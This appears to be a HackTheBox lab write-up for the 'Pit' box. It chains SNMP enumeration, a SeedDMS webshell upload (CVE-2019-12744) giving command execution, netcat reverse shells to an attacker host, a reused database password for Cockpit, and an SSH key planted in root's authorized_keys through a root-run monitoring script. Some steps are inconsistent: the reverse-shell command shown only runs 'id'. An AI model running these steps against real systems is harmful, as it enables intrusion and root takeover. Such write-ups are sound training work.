Skip to content

Pit Writeup - HackTheBox

Medium Linux
Mohammad Meraj

Independent Security Researcher

Pit is a CentOS box that chains four steps: an SNMP public community string leaks host info and a NET-SNMP-EXTEND exec path, a SeedDMS authenticated file upload gives RCE as nginx, a hardcoded DB password reused for Cockpit gets a shell as michelle, and a write-only POSIX ACL on a root-executed monitoring directory combined with the SNMP extend trigger plants an SSH key for root.

Reconnaissance

TCP scan

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http    nginx 1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  http    Cockpit web service 221 - 253
|_http-title: Did not follow redirect to https://$TARGET_IP:9090/

Port 80 serves only the default nginx test page. Port 9090 runs Cockpit and redirects to HTTPS. The TLS certificate on 9090 exposes a second vhost in its SAN field: dms-pit.htb. Add both to /etc/hosts.

UDP scan

┌──(kali㉿kali)-[~]
└─$ nmap -sU --top-ports 100 $TARGET_IP
PORT    STATE SERVICE
161/udp open  snmp

SNMP is open. The default public community string works and becomes both a recon source and the root escalation trigger.

SNMP Enumeration

Disk and process info

┌──(kali㉿kali)-[~]
└─$ snmpwalk -cpublic -v2c $TARGET_IP .1.3.6.1.4.1.2021.9
iso.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"
iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
iso.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
iso.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"

Confirms SeedDMS lives at /var/www/html/seeddms51x/seeddms and leaks the user michelle.

NET-SNMP-EXTEND-MIB

┌──(kali㉿kali)-[~]
└─$ snmpwalk -cpublic -v2c $TARGET_IP .1.3.6.1.4.1.8072.1.3.2
iso.3.6.1.4.1.8072.1.3.2.2.1.2.6.109.101.109.111.114.121    = STRING: "/usr/bin/free"
iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"
iso.3.6.1.4.1.8072.1.3.2.3.1.2.6.109.101.109.111.114.121 = STRING: "              total        used        free ...
Mem:        4023492      304352     3447740 ..."
iso.3.6.1.4.1.8072.1.3.2.3.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
<snip - SELinux user/role/login table, michelle mapped to user_u, root mapped to unconfined_u>"

Two NET-SNMP-EXTEND-MIB exec entries: /usr/bin/free and /usr/bin/monitor. Polling the monitoring OID triggers /usr/bin/monitor to run. This becomes the root escalation vector later.

Web Enumeration

Browsing http://dms-pit.htb/seeddms51x/seeddms loads a SeedDMS login page. The credentials michelle:$MICHELLE_SEEDDMS_PASSWORD work. The version is disclosed in the changelog as SeedDMS 5.1.15, which is vulnerable to CVE-2019-12744: authenticated arbitrary file upload leading to RCE.

Initial Access

CVE-2019-12744 file upload to RCE

Upload a PHP webshell through michelle's SeedDMS account. After upload, the document URL reveals the document ID:

http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewDocument.php?documentid=29&showtree=1

The uploaded file is served at:

http://dms-pit.htb/seeddms51x/data/1048576/29/1.php

Confirm execution:

┌──(kali㉿kali)-[~]
└─$ curl 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=id'
<pre>uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
</pre>

RCE as nginx confirmed. Trigger a reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=id'
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 34492
sh-4.4$ whoami
nginx

Lateral Movement

DB credentials in settings.xml

nginx@pit ~ $ cat /var/www/html/seeddms51x/seeddms/conf/settings.xml
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms"
  dbUser="seeddms" dbPass="$MICHELLE_PASSWORD" doNotCheckVersion="false">
</database>

SSH with this password as michelle fails, but the same password works on the Cockpit login page at https://$TARGET_IP:9090/. Log in via Cockpit and open the built-in web terminal at /system/terminal, then catch another reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 39430
[michelle@pit ~]$ whoami
michelle

Privilege Escalation

Write-only ACL on /usr/local/monitoring

SUID enumeration returned only standard distro binaries. Returning to the SNMP finding: /usr/bin/monitor runs every check*sh script inside /usr/local/monitoring.

michelle@pit ~ $ cat /usr/bin/monitor
#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
    /bin/bash $script
done
michelle@pit ~ $ ls -ld /usr/local/monitoring
michelle@pit ~ $ getfacl /usr/local/monitoring
drwxrwx---+ 2 root root 121 Aug  4 07:56 /usr/local/monitoring

# file: usr/local/monitoring
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---

The + on the permissions means an extended ACL is set. michelle has write-and-execute but no read access. She cannot list the directory, but she can drop files into it. Since monitor runs as root and iterates every check*sh, writing a malicious script there gets root execution.

SSH key injection via SNMP trigger

Generate an SSH keypair on the attacker box and drop a script that appends the public key to root's authorized_keys:

michelle@pit ~ $ echo 'echo "ssh-ed25519 AAAA...your-public-key... root@kali" >> /root/.ssh/authorized_keys' \
> /usr/local/monitoring/check_key.sh

Trigger /usr/bin/monitor to run by polling the SNMP monitoring OID:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -cpublic -v2c $TARGET_IP .1.3.6.1.4.1.8072.1.3.2
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
...

The extend output returns the usual database/SELinux info. The key write happens silently in the background. SSH in immediately after:

┌──(kali㉿kali)-[~]
└─$ ssh -i ~/.ssh/id_ed25519 root@$TARGET_IP
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root)

Root via the SNMP-triggered monitoring script executing the injected key drop.

References